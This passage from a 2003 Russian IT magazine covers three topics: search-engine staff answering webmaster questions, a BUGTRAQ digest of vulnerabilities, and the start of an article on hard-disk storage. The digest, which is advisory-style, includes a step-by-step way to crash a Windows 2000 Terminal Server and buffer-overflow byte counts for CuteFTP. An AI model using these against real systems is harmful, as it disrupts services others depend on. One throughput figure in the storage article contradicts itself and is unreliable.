Есть ли возможность у вашего робота двигаться по ссылкам, код которых генерируется динамически? Вопрос связан с применением разного рода попап и ролл-аут, даун меню... с их программной реализацией. В настоящий момент робот учитывает ссылки, сформированные средствами HTML, и не выделяет ссылок из различных скриптов (JavaScript, VBScript): он попросту их игнорирует. Подробности поведения робота – без комментариев. Если речь идет о ссылках, генерируемых браузером при исполнении скриптов, то нет. Насколько важно присутствие и содержание headerтегов (h1, h2 ...) на индекисруемых документах? Поисковые системы, и Рамблер в том числе, ориентированы прежде всего на веб-документы, так что форматирование имеет не последнее значение. Конечно, оно учитывается при вычислении релевантности. Подробности поведения робота – без комментариев. Текст, заключенный в эти теги, обычно (если ими не злоупотребляют) имеет несколько более высокий вес при подсчете релевантности. Теги h1, h2 и т. п. учитываются при определении порядка выдачи документов. При предоставлении информации существуют несколько очень важных факторов (на мой взгляд): законность информации, достоверность информации, актуальность информации. По каждому пункту у меня имеются отдельные вопросы: а) Считаете ли вы, что поисковые системы не должны (или не имеют права) предоставлять ссылки на страницы с содержанием, которое противоречит законам и моральным нормам? Если да, то будете ли вы создавать такую поисковую систему, которая не будет выдавать ссылки на похабщину, порно и другое? б) Считаете ли вы, что поисковые системы должны содержать в своей БД ссылки только на страницы с достоверной информацией (или иметь такую опцию, чтобы пользователь сам для себя решал: искать достоверное или нет)? Если да, то как, по-вашему, данная концепция реализуема, или это невозможно? в) Считаете ли вы, что поисковые системы должны иметь более развитое средство (чем указание при поиске «даты документа»), позволяющее пользователю находить только ссылки на страницы с актуальной информацией? Если да, то вы работаете над этим? (Я считаю, что ПС предоставляют информацию в виде ссылок на источник и выдержки из данного источника, которую так же можно отнести к одному из перечисленным мною факторам).

поиски истины Поисковая система в настоящий момент является своего рода оглавлением к большой-большой книге, или даже библиотеке, которая называется Интернет, поэтому вопрос о том, стоит ли находить по нецензурным запросам нецензурные документы, сродни вопросу о том, следует ли выносить нецензурные слова в алфавитный индекс книги. Оценка достоверности информации в автоматическом режиме в настоящий момент вряд ли возможна, так как для этого требуется сформулировать соответствующие критерии, которые сработали бы практически для любого текста; ожидать же, что программный комплекс, даже имеющий в своем составе самое мощное лингвистическое ядро, справится с задачей, непосильной даже для человека, по меньшей мере, рано. Актуальность информации достигается в настоящий момент увеличением частоты обхода сети Интернет поисковой системой. Здесь есть несколько аспектов, среди которых – ответственность поисковой системы. Мы считаем, что ПС – автоматическая система, и в этом смысле не несет равной автору ответственности за содержание выдаваемой информации. Кроме того, мы не считаем себя вправе цензурировать содержание Интернета. Однако с точки зрения пользовательского сервиса мы делаем все, чтобы помочь той очистке, о которой вы говорите. В частности, мы первая и до сих пор (вот уже 4 года) единственная в России ПС, реализующая порнофильтрацию при использовании «Семейного Яндекса» (family.yandex.ru). В настоящее время мы работаем над фильтрацией фашистских сайтов. При хостинге сайтов у себя (на Народе) мы придерживаемся другой политики – не разрешаем размещать содержание, «которое противоречит законам и моральным нормам» (см. Пользовательское соглашение http://www.yandex.ru/info/ agreement.html). Достоверность – это один из факторов, влияющих на ранжирование при анализе социальной сети. Например, на выявление и удаление из результатов поиска (или понижение ранга) неоригинальных (скопированных) материалов нацелены процедуры выявления и удаления точных и неточных дубликатов и зеркал. Подробнее об этом можно прочитать в нашей публикации на http://company.yandex.ru/articles/. Да, мы активно работаем над проблемой выявления, индексации и ранжирования «новой» актуальной информации. Пока существенных результатов мы не добились, но готовим продвижение в сторону вовлечения в анализ социальной сети фактора «новизны». Кроме того, с 2000го года в параллельной выдаче Яндекса присутствует лента новостных агентств (более 50 участников), что частично снимает проблему «новизны». Я не думаю, что поисковые системы должны заниматься цензурой. В то же время, предоставление пользователю возможности исключения из поиска документов «только для взрослых», безусловно, полезна. Достоверность определить, конечно, нельзя, можно только попытаться оценить ее по некоторым косвенным признакам (к примеру, информация с корпоративного сайта известной компании заслуживает доверия в боль-

№3(4), март 2003

шей степени, чем информация с домашней странички Васи Пупкина). Не думаю, что в этом есть смысл, так как критерии, по которым можно провести такую оценку, слишком грубые. Да, в некоторых случаях это очень существенно, например, прайс-лист трехлетней давности пользователю почти наверняка не нужен. Какие объемы задействованы в хранении информации и как часто обновляется оборудование, задействованное в хранении информации? Поисковый индекс занимает в сумме 250 Гб дискового пространства, однако он, конечно же, разбит на несколько частей, а части размещены на разных машинах. Объемы мы регулярно сообщаем здесь: http:// www.yandex.ru/chisla.html. Что понимается под обновлением оборудования: корпус и блок питания? диски? память? В общем, оборудование постоянно обновляется. Сейчас нами проиндексировано около 150 Гб документов с украинских сайтов. Оборудование обновляется по необходимости. Как можно ускорить процесс поиска на заданном сервере определенной фразы\слова, причем поиск идет не только по html’кам, но и по базе? Как изменяется алгоритм? Ускорение поиска достигается сведением к минимуму операций ввода-вывода и глубокой оптимизацией всех используемых алгоритмов. О каком поиске идет речь? Об индексации сайта Яндексом? Поиск по нескольким источникам сделать можно, например, с помощью локальной версии Яндекса – программы Яndex.Site. Какую оценку вы бы поставили своей поисковой системе по 10-бальной системе? Устраивает ли вас качество поиска своей поисковой системы? Качество поиска своей поисковой системы не может устраивать разработчиков. Если же такое случится, то поисковая система перестанет развиваться, что приведет к коллапсу. Оценки должны ставить не мы, а пользователи. Что касается качества – мы сами пользуемся Яндексом, не потому, что таковы корпоративные правила, а потому, что мы делаем его и для себя, и нам удобно искать с его помощью. И, конечно, мы видим, куда нам расти и улучшаться. В отношении качества поиска есть над чем работать (как, думаю, и другим поисковым системам). Учитывают ли поисковые роботы HTML-теги, добавляющие структурную информацию в текстовые фра-

57

поиски истины зы? Конкретнее: теги <EM> и <STRONG>, предписанные стандартом для выделения? Если да, то в какой степени эти теги усиливают значимость («вес») заключенного в них текста? Хотя бы в сравнении с тегами <I> и <B>, которые они призваны заменить? Да, Рамблер эти теги учитывает.

вета, за день на эту службу приходят десятки писем и нередко с очень сложными ситуациями. Недавно мною был замечен новый паук Яндекса – YandexSomehing. Что это за паук, за что он отвечает? Это не робот и не паук, а скрипт со странички «мой сайт глазами Яндекса».

Подробности поведения робота – без комментариев. <STRONG> учитывается наравне с <B>, <EM> не учитывается, как и <I>. Теги <EM> и <STRONG> у нас не учитываются при определении порядка выдачи. Вопрос разработчикам Яндекса. Вчера зашёл на Яндекс и в строке url своего браузера перед www.yandex.ru увидел иконку с красной буквой «Я» вместо обычного значка html-документа. Как это было сделано и почему сегодня иконка пропала и появился привычный значок? Вы, наверное, пользуетесь Мозиллой? Иконка на месте. Это картинка размером 16х16, которая лежит в корне сайта и называется favicon.ico. Что для поисковой машины Яндекс означает тег моего сайта <META NAME=«ROBOTS» CONTENT=«ALL» и необходим ли он? Этот тег ничего нового роботу не сообщает. Робот так и считает по умолчанию: «страницу индексировать, по ссылкам ходить». Что я могу предпринять, чтобы Яндекс индексировал не только одну страницу моего сайта, а несколько? Чтобы сайт индексировался нормально, очень рекомендуется не писать в url сессионную куку, иначе с точки зрения робота это каждый раз будут разные страницы и он будет тратить время на их обход, вместо индексации настоящей информации. На днях Яндекс переиндексировал наш сайт, вследствие чего резко поднялся индекс цитирования и соответственно положение в результатах поиска (со второй страницы поиска по запросу поднялся на первую позицию первой страницы!). Поначалу я подумал, что причиной этому стала индексация движка сайта (потому что Яндекс свидетельствовал о более чем 400 страницах, но на самом деле оказалось, что Яндекс не проиндексировал ни одной страницы движка! А те 400 страниц – это страницы форума сайта. Меня, как разработчика движка, очень интересует, почему Яндекс не проиндексировал движок? Этот вопрос надо задать в addurl@yanex.ru, там посмотрят на сайт, на базу робота и ответят. Только, пожалуйста, наберитесь терпения и не ждите немедленного от-

58

Для общего ознакомления не могли бы вы выслать исходные коды Яндекса? Можно ли взглянуть на алгоритм Яндекса? Как часто он меняется? Мы скоро выложим (собираемся оформить страницу и написать лицензию) программу морфологического разбора mystem в публичный некоммерческий доступ. После опубликования принципов работы, возможно, откроем и коды. Однако алгоритмы ранжирования и подавления спама или непотизма ни одна поисковая система не откроет никому и никогда. Если Рамблер один раз уже нашел сайт и осуществляет по нему поиск по словам на главной (или других еще ?) странице, то если содержимое сайта изменится, будет ли Рамблер проверять его еще раз или это происходит только единожды? Заранее спасибо. Да, Рамблер периодически навещает обработанные ранее сайты и обновляет свой индекс. Мы каждые несколько недель обновляем все страницы, которые были найдены пользователями хотя бы по одному поисковому запросу. Остальные страницы обновляются не реже, чем раз в 3 месяца. Примерно для трети всех сайтов, имеющихся в базе, выполняется полное переиндексирование каждый месяц. Конечно же, параллельно с этими процессами непрерывно идет пополнение базы новыми страницами. Чем руководствуются создатели ПС Rambler, не разрешая своему пауку индексировать динамические сайты (*.pl, *.cgi, *.php,...), хотя всем известно, что *.htm, *.html – также могут быть страницами динамических сайтов? Дело в том, что такие страницы очень часто дублируют уже присутствующую в сети Интернет информацию. Поэтому для того, чтобы уменьшить нагрузку на систему, мы их исключали. Однако в прошлом году начали эти ограничения снимать, и через некоторое время снимем их полностью. Я тщательно подготовил описание сайта, ключевые слова, прописал все теги «title» & «alt» (также поизучав материалы на сайтах основных поисковиков) и после этого стал регистрировать сайт во всех основных поисковиках и каталогах (это было уже давно, месяцев 8-10 назад). Суть проблемы: Яндекс вполне нормально нас проиндексировал и по статистике с него постоянно идут посетители, примерно 200-250 в день; в то же время ни с Рамблера, ни с Апорта столько народу не приходит, а точнее вообще никого (от 2 до 5-6

поиски истины в день). Не подскажете, как это можно объяснить и исправить? Рамблер и Яндекс используют разные алгоритмы оценки соответствия документа или сайта запросу. Кроме того, аудитория этих поисковых систем различна. Постарайтесь переработать свой сайт так, чтобы содержимое было более релевантным целевому набору запросов. В прессе много говорилось о том, что Рамблер стал индексировать любые динамические страницы. Практика показывает, что это не так. Некоторые сайты действительно индексируются, а некоторые – нет. В ближайшее время большинство значимых для Рунета сайтов будут разрабатываться на основе CMS (Систем Управления Контентом), а значит эти сайты будут полностью динамическими. Подскажите, от чего сейчас зависит успешность индексирования динамического сайта в Рамблере? Мы постепенно ослабляем ограничения на «динамические» страницы для всех без исключения сайтов. Осенью мы ослабили ограничения для сайтов, построенных на ASP (то есть для URL, содержащих подстроку «.asp?»). Недавно ослабили ограничение на PHP. Через некоторое время ограничений не останется вовсе. Рамблер во многих случаях снимает такие ограничения для сайтов, которые содержат, по мнению наших редакторов, уникальную информацию и/или являются популярными ресурсами. Также такие «послабления режима» возможны по просьбе авторов сайтов. Выдержка из официальных сведений: «При поиске ресурсы, зарегистрированные в Top100, занимают первые несколько позиций (до пяти) и упорядочены в соответствии со своей посещаемостью». Разве это правильный подход в поиске информации? В результате имеем следующую нелепую ситуацию: какой-нибудь крупный ресурс, объединяющий в себе большой набор различных сервисов (например, мини-портал) и, имею-

№3(4), март 2003

щий очень высокую посещаемость только лишь за счет наличия большого информационного наполнения, получает к себе большой приток посетителей. Релевантность документа в этом случае не играет никакой роли. На самом деле релевантность документа имеет также важную роль. Нерелевантные запросу страницы, пусть даже они и имеют огромный рейтинг Top100, все равно в выдачу не попадут. С другой стороны, из двух страниц, имеющих подобное содержание, раньше будет показана та, которая зарегистрирована в Top100 и имеет больший рейтинг. На наш взгляд, учет предпочтений пользователей имеет большое значение. Как мне известно, база данных поисковых систем не хранит в чистом виде текст, найденный на страницах сайта. В БД сохраняются лишь какие-то слова с определенной информацией о себе (как часто встречается, какой уровень значимости и т. д.). Так каким же образом работает функция «реконструкция текста», например, в поисковой системе Апорт? То, что вы пишете про БД, верно по отношению к той ее части, которая используется при собственно поиске. Тексты документов (в сжатом виде и с упрощенным форматированием), хранятся в отдельном хранилище и используются только для цитирования и реконструкции текста. Мною на практике (на своих сайтах) замечено, что паук Апорта плохо индексирует сайты. Как правило, паук не индексирует больше 400 страниц, даже при повторном индексировании паук не заходит на остальные страницы. С чем связано такое явление? (для справки, все страницы *.html и имеют перекрестные ссылки). Апорт применяет квотирование количества индексируемых документов с одного сайта. Размер квоты для сайта определяется его индексом цитируемости.

59

BUGTRAQ Похищение сеанса другого пользователя в Compaq Insight Manager Уязвимость обнаружена в компоненте Compaq Web Agent в Compaq’s Foundation Agents для Windows на Compaq Proliant Servers. Удаленный атакующий может войти в систему, похищая последний сеанс. Сообщается, что Compaq Web Agent, используемый для удаленного управления серверами Compaq Proliant через Secure Sockets Layer (SSL), содержит недостаток в управлении сеансами. Если заверенный пользователь закрывает браузер вместо того, чтобы нажать по ссылке the «Logout», то удаленный пользователь на том же самом хосте (или, возможно, с тем же самым IP) по сообщениям будет способен получить доступ к сеансу целевого пользователя в течении 15 минут. Уязвимость обнаружена в Compaq Insight Manager 5.1.0.

Переполнение буфера в Windows XP Windows Redirector используется клиентами Windows для доступа к файлам, локальным или удаленным, независимо от используемых протоколов в сети. Например, мастер the «Add a Network Place» или команда NET USE могут использоваться, чтобы отобразить сетевой ресурс как местный диск, и Windows Redirector обработает информацию маршрутизации к сетевому ресурсу и от него. Уязвимость защиты обнаружена в выполнении Windows Redirector на Windows XP. Переполнение буфера происходит при получении информационных параметров. Обеспечивая некорректные данные к Windows Redirector, атакующий может аварийно завершить работу системы или выполнить произвольный код на уязвимой системе. Платформы: Windows All.

Переполнение буфера в KaZaA Media Desktop Уязвимость отказа в обслуживании обнаружена в KaZaA Media Desktop. Удаленный пользователь при некоторых обстоятельствах может аварийно завершить работу клиента. Согласно сообщению, уязвимость может использоваться для выполнения произвольного кода на системе клиента. Удаленный атакующий может вызвать переполнение буфера, изменяя запрос загрузки рекламы клиента. Уязвимость можно воспроизвести, запрещая все HTTPподключения к хосту, с «ad» в имени домена. При запуске клиента работа его сразу аварийно завершится. Уязвимость обнаружена в KaZaA Media Desktop 2.0.2.

Переполнение буфера в CuteFTP CuteFTP – популярный FTP-клиент для Windows-систем. Обнаруженная уязвимость позволяет злонамеренному FTP-серверу выполнять произвольный код на системе с уязвимым CuteFTP-клиентом. В ответ на команду LIST от CuteFTP-клиента, удаленный FTP-сервер может возвратить 257 байтов, которые вызовут переполнение буфера. Регистр EIP может быть перезаписан полностью, посылая 260 байтов данных. Уязвимость обнаружена в CuteFTP build 50.6.10.2.

Множественные уязвимости в Linux Mandrake Несколько уязвимостей обнаружено в пакете «printerdrivers», поставляемом с Mandrake Linux. Локальный пользователь может получить root-привилегии на уязвимой системе. Переполнение буфера обнаружено в «mtink» при обработке переменной среды HOME. Локальный пользователь может снабдить специально обработанную переменную HOME, чтобы выполнить произвольный код с привилегиями группы «sys». Переполнение буфера обнаружено в «escputil» при анализе «printer name» параметра командной строки. Локальный пользователь может снабдить специально обработанное значение «printer name», чтобы выполнить произвольный код с привилегиями группы «sys». Уязвимость состояния операции обнаружено при использовании временных файлов в «m185p». Локальный пользователь с привилегиями группы «sys» может создать символьные ссылки от предсказуемых временных файлов к произвольным чувствительным файлам. Уязвимость обнаружена в Linux(Mandrake) 8.0, 8.1, 8.2, 9.0.

Недостаток в удалении почтовых сообщений в Qualcomm Eudora Недостаток обнаружен в Qualcomm Eudora в пути, которым Eudora удаляет почтовые сообщения из папки «Trash». Когда сообщения удалены из «Trash»-папки, они только помечены как удаленные и все еще присутствуют в Trash.mbxфайле. Сообщения будут удалены из Trash.mbx только когда пользователь выберет уплотнение почтовых ящиков. Уязвимость обнаружена в Qualcomm Eudora 5.2.

Утечка информации в Linux 2.4.х kernel

DoS против Windows 2000 Terminal Server

Уязвимость обнаружена в Linux 2.4 kernel. Локальный пользователь может прочитать некоторую информацию на файловой системе, к которой у него нет доступа. Уязвимость обнаружена в обработке O_DIRECT в Linux kernels 2.4.10 и более поздних версиях. Утечка информации позволяет локальному пользователю с привилегиями на запись читать информацию на файловой системе из предварительно удаленных файлов. Локальный пользователь также способен незначительно разрушить файловую систему, которая, как сообщается, может быть легко восстановлена, используя fsck. Уязвимость обнаружена в Kernel 2.4.10-2.4.18.

Любой пользователь, способный войти в Windows 2000 Terminal Server (через RDP или ICA) и обратиться к файловой системе, может перезагрузить сервер. Пример: Откройте %SYSTEMROOT%\SYSTEM32\MSGINA.DLL для эксклюзивного доступа (блокировка чтения). Например, используя Radsoft HEXVIEW.EXE; Откройте новое подключение через RDP/ICA; Щелкните на кнопку «Restart» в диалоговом окне предупреждения («msgina.dll failed to load»).

60

Уязвимость проверена на Windows 2000 Server SP2-SP3.

hardware

ОСНОВЫ СИСТЕМ ХРАНЕНИЯ ДАННЫХ

62

hardware Часть 1

АЛЕКСЕЙ СЕРЕБРЯКОВ №3(4), март 2003

Целью написания данного документа является помощь уважаемому читателю в освоении фундаментальных основ и принципов построения дисковых систем хранения данных. Как ни странно, но практика показывает, что системы хранения данных являются наименее понимаемой и в то же время наиболее интересной частью компьютерной отрасли. Поэтому мы вместе с читателем постараемся приблизиться к наиболее полному понимаю дисковых систем, оттолкнувшись от незыблемых законов физики и логики. Мы начнем с обсуждения базовых понятий, поэтому предварительное знакомство читателя с дисковыми системами и самими жесткими дисками не обязательно, но крайне желательно, так же как и владение минимально необходимой терминологией. По ходу изложения мы обсудим критерии производительности дисков, протоколы IDE и SCSI, и почему отдельные IDE-диски обычно более производительны, чем аналогичные по характеристикам диски SCSI. Какие характеристики дисков, публикуемые в спецификациях производителя важны, а к каким надо относиться с долей скептицизма. Мы вплотную разберемся с характеристиками шин и интерфейсов дисков, начиная с ATA-1 (устаревшего, но все еще интересного в историческом аспекте) до новейшего Serial ATA, SCSI и ее реинкарнациями, и закончим FC-AL (Fibre Channel – Arbitrated Loop) и FC-SW (Fibre Channel Switched), а также новейшей (но пока не испытанной на практике) iSCSI. Заглянем во внутренности RAID-массивов и RAID-контроллеров, раз и навсегда уясним разницу между RAID-01 и RAID-10 (очень часто эти термины используются взаимозаменяемо и, как следствие, некорректно), попытаемся понять, какой из уровней RAID для какого типа приложений является наиболее оптимальным. Мы рассмотрим и логическую часть систем хранения данных: файловые системы разных операционных систем, их преимущества и недостатки, а также программные менеджеры томов (software volume managers, иногда я буду вынужден использовать кальку с английских терминов просто по причине отсутствия нужных в русском языке). Ну и конечно, я зачастую буду использовать примеры из реальной жизни, начиная от систем начального уровня и заканчивая high-end платформами. Тут я вынужден заметить, что все в этой статье «по умолчанию» относится к дискам SCSI и Unix-подобным операционным системам.

SCSI – потому что диски ATA неприменимы даже в системах класса «ниже среднего» (почему именно – читаете ниже), а Unix – просто потому, что я знаком с ним гораздо лучше, чем с платформой Wintel. Но начнем с терминологии. На данном этапе, пока мы обсуждаем физические характеристики жестких дисков, я буду использовать следующие термины: жесткий диск (чаще просто «диск») – в отношении физического устройства целиком (что, в общем-то, очевидно); контроллер диска (drive controller) – в отношении схем электрики и электроники (процессор, память, схемы управления и электропитания), установленной непосредственно на жестком диске;

63

hardware шина (bus) – в отношении схем передачи данных от

одного устройства другому. При этом я обязательно буду уточнять, о какой именно шине речь: будь то системная шина или дисковая, шина памяти или какая-то другая; контроллер шины (bus controller) – любое устройство, предназначенное для соединения системной шины ввода/вывода компьютера и устройств хранения. Русскоязычный термин «контроллер шины» не совсем корректен, поэтому в тексте я буду также использовать термины «контроллер» и «адаптер», потому что иногда один подходит лучше другого. В общем случае понимать под этим термином следует любой SCSI, Fibre Channel или Fireware адаптер, как в виде платы расширения для слотов PCI, так и интегрированный на материнской плате; ATA – любое устройство, использующее IDE-протокол. Данные устройства, более известные как (E)IDE-диски («поблагодарим» Western Digital за внесение путаницы в терминологию), не имеют контроллера шины как такового. Та часть ATA-шины, имеющая привычного вида ATA-разъемы и находящаяся на материнской плате, является не более чем электрическим интерфейсом и минимальными схемами буферизации, позволяющими ATA-устройству взаимодействовать с системной шиной без особых проблем. Но подробней об этом дальше; SCSI (Small Computer Simple Interface) – любое устройство, использующее один из множества SCSI-протоколов, начиная от SCSI-2 и заканчивая iSCSI.

Все вышеперечисленное относится к физическим устройствам, к терминологии логических устройств мы обратимся позже. В процессе обсуждения я позволю себе небольшие отступления для разъяснения новых терминов. Итак, для начала давайте рассмотрим физические составляющие обычного жесткого диска. Это комплексное устройство, продукт человеческой изобретательности и сумма высоких технологий, механики и электроники, в котором ни одна часть по отдельности не является определяющей скорость или надежность диска в целом как устройства. Но по порядку, точнее, по составляющим: корпус диска; электродвигатель и подшипники; магнитные пластины; магнитные головки и их привод; контроллер диска; схемы электропитания. Первые два элемента, корпус и двигатель, можно рассматривать как единую сборку, основу диска, к которой крепятся все остальные части. Сам корпус играет роль шасси и по совместительству радиатора охлаждения диска. При этом, как ни странно, наиболее важными и наименее обсуждаемыми и известными частями данной сборки являются двигатель и его подшипники. Только благодаря высоким технологиям в изготовлении подшипников удается достичь скорости вращения шпинделя двигателя современных дисков в 15000 об/мин, и при этом обеспечить ровность хода пластин и отсутствие вибрации.

64

Тут следует отвлечься и уточнить, что скорость вращения пластин является одним из основных показателей общей производительности диска. Чем выше скорость вращения шпинделя двигателя, тем будут лучше средние показатели скорости чтения-записи данных для диска в целом. Но в то же время чем выше скорость вращения, тем выше вибрация и тепловыделение. Кроме того, с ростом скорости вращения аэродинамические завихрения по внешнему краю пластин начинают создавать дополнительные проблемы. Только из-за этих объективных инженерных трудностей все еще нет дисков со скоростью вращения пластин, скажем, 50000 об/мин. Магнитные пластины, наряду с подшипниками двигателя и магнитными головками, являются еще одним продуктом высоких технологий. Обычно они изготовляются из алюминиевого сплава (хотя используются и другие материалы, например, серия дисков IBM DTLA со стеклянными пластинами) и покрываются магнитным слоем. Число пластин в диске может изменяться от одной до четырех-пяти, в зависимости от его емкости. Поверхность пластин сверхровная, так как качество поверхности пластин определяет такие характеристики диска, как число ошибок на единицу поверхности и величину зазора между пластинами и магнитными головками при работе диска, которые, в свою очередь, определяют такой важный параметр, как плотность записи. Под плотностью записи понимают количество бит данных, которые могут быть размещены на 1 квадратном дюйме поверхности пластины. («Успешно» – ключевое слово, неуспешно записанные данные нам неинтересны). В общем случае чем выше плотность записи, тем выше емкость диска и, возможно, выше внутренняя пропускная способность диска. Магнитные головки вместе с их приводом выглядят как обеденная вилка, где сами головки крепятся к «зу-

hardware бьям» вилки (в случае двух и более магнитных пластин на «средних» зубьях размещаются по две головки – сверху и снизу для соседних поверхностей), а привод головок крепится к «ручке». Число головок и скорость их перемещения (правильный термин – позиционирования) обязательно указывается производителем в документации на диск и является еще одним фактором, прямо влияющим на его общую производительность. Скорость позиционирования головок определяется как «время доступа» (access time). В реальной жизни наибольший интерес представляют: время доступа на соседнюю дорожку, время доступа с первой дорожки на последнюю и среднее время доступа. Среднее время доступа можно рассматривать как время, необходимое для перемещения магнитных головок на 1/3 всего хода, плюс время на стабилизацию на нужной дорожке. Следует уточнить, что в современных дисках в случае перемещения на большое расстояние головки передвигаются не с постоянной скоростью, а с переменной. В начале движения идет фаза разгона головок, а в конце пути следует фаза торможения. Естественно, что использование такой технологии позволяет существенно уменьшить время доступа, особенно при частых перемещениях головок на большие расстояния. Типичный пример – два активно использующиеся раздела, находящиеся в разных частях одного жесткого диска. Также замечу, что в случае операции записи время доступа будет несколько больше, чем при операции чтения данных, так как в случае записи необходимо более точное позиционирование головок, и как следствие увеличивается время их стабилизации на нужной дорожке.

Контроллер диска – плата, монтируемая на самом диске. Включает микропроцессор и его программное обеспечение, блоки кэш-памяти, интерфейс шины и контуры электропитания. Микропроцессор контролирует все операции диска: от параметров механических частей диска (скорость

№3(4), март 2003

вращения двигателя, перемещение головок) до обработки данных. Кэш-память используется для промежуточного хранения данных, перед тем как они будут записаны на диск или переданы в оперативную память компьютера. Непосредственно сам объем кэш-памяти не оказывает заметного влияния на общую производительность диска, однако качество алгоритмов использования кэш-памяти уже может оказаться существенным. Есть множество методов управления кэш-памятью, и более «умный» диск с меньшим объемом кэша, но более продвинутым адаптивным алгоритмом кэширования, окажется быстрей диска с большим объемом кэша, используемого как простой буфер ввода-вывода. Интерфейс шины определяется типом используемого протокола шины. Далее мы в деталях рассмотрим наиболее распространенные – IDE, SCSI и Fibre Channel. На текущий момент у каждого из производителей дисков обычно существуют некие базовые модели дисков, с практически одинаковыми характеристиками механической части, но с разным типом интерфейса и, соответственно, разным набором логики. Схемы электропитания – достаточно важная деталь. Входное электропитание подается на делители напряжения, где обрезается до нужных величин, обычно без дополнительной стабилизации, так как стабилизаторы слишком большие для их монтажа на контроллере диска. Из-за отсутствия дополнительной стабилизации, качественное входное электропитание является одним из основных параметров долгожительства диска. Никогда не подключайте диски через переходники, такие как разветвитель электропитания на радиаторе CPU. Это обязательно приведет к скачкам напряжения и, как следствие, сокращению срока службы диска. Поскольку мы начали говорить о том, что «не любят» диски, вот еще несколько важных мелочей. Никогда не монтируйте диски «вверх ногами», то есть электроникой вверх. По возможности избегайте монтажа дисков вертикально разъемами вверх или вниз. Все эти положения ведут к повышенным нагрузкам на подшипники двигателя и привод головок, нарушают охлаждение и, в конечном итоге, снижают срок службы диска. Диски не любят перегрева (как, впрочем, и все другие комплектующие). Если вы монтируете несколько дисков один над другим, убедитесь, что зазор между ними, по крайней мере, существует. Установите еще несколько вентиляторов охлаждения. Диски не любят механических нагрузок и вибрации. При монтаже убедитесь, что все четыре винта крепления дисков затянуты равномерно и достаточно плотно. Ослабление винтов приведет к увеличению вибрации диска и сокращению срока его службы. Не рискуйте понапрасну своими данными. Соблюдайте эти элементарные правила, и, вполне возможно, что вы избавите себя от значительного количества ненужных проблем. На этом мы закончим обсуждение физических составляющих жестких дисков и перейдем к знакомству с их логической частью.

65

hardware

Для того чтобы диск можно было использовать, операционная система должна иметь какой-либо способ адресации запросов на ввод/вывод к диску. Существует несколько таких способов, зависящих от типа диска. Теоретически любой жесткий диск можно описать при помощи нескольких параметров, вместе называемых «геометрией диска». Каждый диск имеет свою «геометрию». Например, геометрия IDE-диска, определяемая как число его цилиндров, головок и секторов, так как она представлена в BIOS компьютера. Важно понимать, что те числа цилиндров головок и секторов, которые вы видите в BIOS компьютера, ни в коей мере не являются реальными значениями. Для упрощения относитесь к ним, как к неким абстрактным значениям, используемым по историческим причинам для борьбы с проблемами дисковой адресации в операционных системах производства Microsoft. В случае SCSI-дисков все проще – для любой операционной системы они выглядят (при помощи контроллера шины) как непрерывная цепочка блоков данных размером 512 байт. Вот тут и лежит фундаментальная разница между IDE- и SCSI-устройствами. Как я уже говорил, IDE-диски не используют контроллер шины. Вместо этого они имеют интегрированный контроллер диска (отсюда и термин IDE – Integrated Drive Electronic), который общается напрямую с IDE-драйвером операционной системы через минимальную электронику на материнской плате компьютера, также известную, как IDE-разъем. Таким образом, операционная система запрашивает блоки у SCSI-контроллера и физические (хотя и не реальные) сектора у IDE-дисков. Но мы отвлеклись. Цилиндр – это вертикальная группа дорожек, совпадающих по своему физическому положению на поверх-

66

ности пластин. В свою очередь, дорожкой называется концентрическая полоса поверхности пластины. Дорожки создаются при низкоуровневом форматировании диска, и их число может изменяться в зависимости от типа и модели диска. Сектора также создаются на этапе низкоуровнего форматирования (кстати, все современные диски поставляются уже отформатированными на низком уровне, а пользователь не имеет возможности изменить этот формат), и представляют собой часть поверхности дорожки, на которую может быть записано 528 байт информации – 512 байт данных и 16 байт служебной информации, такой как ECC сектора. Обычно на каждой дорожке выделяется несколько запасных секторов, которые используются для замены сбойных секторов только этой дорожки. Это позволяет избежать необходимости перемещения всей дорожки в область резерва в случае появления сбойных секторов. Легко заметить, что число секторов на дорожку не является фиксированным и изменяется от дорожки к дорожке. Для типичного диска число секторов на внешней, самой длинной (нулевой) дорожке может в два раза превышать число секторов на внутренней, самой короткой дорожке. Но изменение это не может быть плавным: разница в длине между двумя соседними дорожками просто недостаточна для того, чтобы вместить еще один сектор. Поэтому был введен термин «зона», известный как «группа цилиндров». Под зоной понимают группу соседних цилиндров с одинаковым числом секторов, равных числу секторов на самом коротком, т.е. самом внутреннем цилиндре. Число зон на диске может изменяться от 10 и выше. Как и в случае с секторами, в каждой зоне выделяется запасной цилиндр, что в случае появления сбойной дорожки (дорожки, где закончились резервные секторы для замены сбойных) позволяет избежать перемещения всей дорожки в конец диска, как это было раньше. Вот и все о логической структуре диска. Теперь, когда мы познакомились с устройством жестких дисков, давайте резюмируем основные факторы, влияющие на производительность дисков, и какое влияние на них мы как пользователи можем оказать. Во-первых, это физические параметры, скорость перемещения головок и скорость вращения шпинделя диска. Оба параметра рассмотрены выше, и непосредственно изменить их мы не в силах. Во-вторых, качество логики диска, которое мы также не в силах изменить. Для описания логической суммы этих двух факторов существует еще одна очень важная характеристика диска – внутренняя скорость передачи (Internal Transfer Rate, ITR). Это максимальная скорость, с которой данные могут быть прочитаны с поверхности диска и помещены в кэш-память для последующей передачи в память компьютера. Это же относится к записи, но в случае записи также вычисляется и записывается ECC сектора. Так как объем данных на дорожке изменяется от зоны к зоне, в спецификации на диск ITR обычно указывается как максимальное/минимальное значение для диска.

hardware

По моему мнению, ITR является одной из важнейших характеристик диска, публикуемой в его технической документации. ITR характеризует максимально возможную производительность самого диска, в отрыве от всех остальных потенциальных «узких мест». Например, если максимальный ITR некого диска равен 80 Мб/с, т.е. меньше 10 Мб/с, то подключение такого диска через шину UltraATA-100 не даст никакого увеличения производительности и, в общем-то, бессмысленно. А теперь давайте рассмотрим, как происходит типичная операция с диском, и как на нее влияют вышеизложенные факторы. Предположим, что приложение пользователя запрашивает операцию ввода/вывода у операционной системы. Пусть это будет чтение некоторого обьема данных. Получив запрос от приложения, опрерационная система, в свою очередь, передает этот запрос файловой системе, и уже файловая система инициирует вызов драйвера соответствующего контроллера шины. Затем программное обеспечение (firmware) контроллера шины, получив запрос от драйвера, передаст этот запрос контроллеру диска. В случае IDE-дисков последняя стадия отсутствует, и ATA-драйвер операционной системы общается непосредственно с контроллером диска. В любом случае в итоге всех этих операций контроллер диска получает команду найти блок данных с некоторым адресом, а затем прочитать и передать некоторое количество следующих за ним блоков. Адрес начального блока и необходимое количество блоков контролируется файловой системой, будь то реальные физические блоки, как в случае с SCSI-дисками, или виртуальный адрес, как в случае с ATA. Кстати, под файловой системой надо понимать программное обеспечение, предоставляющее данные для

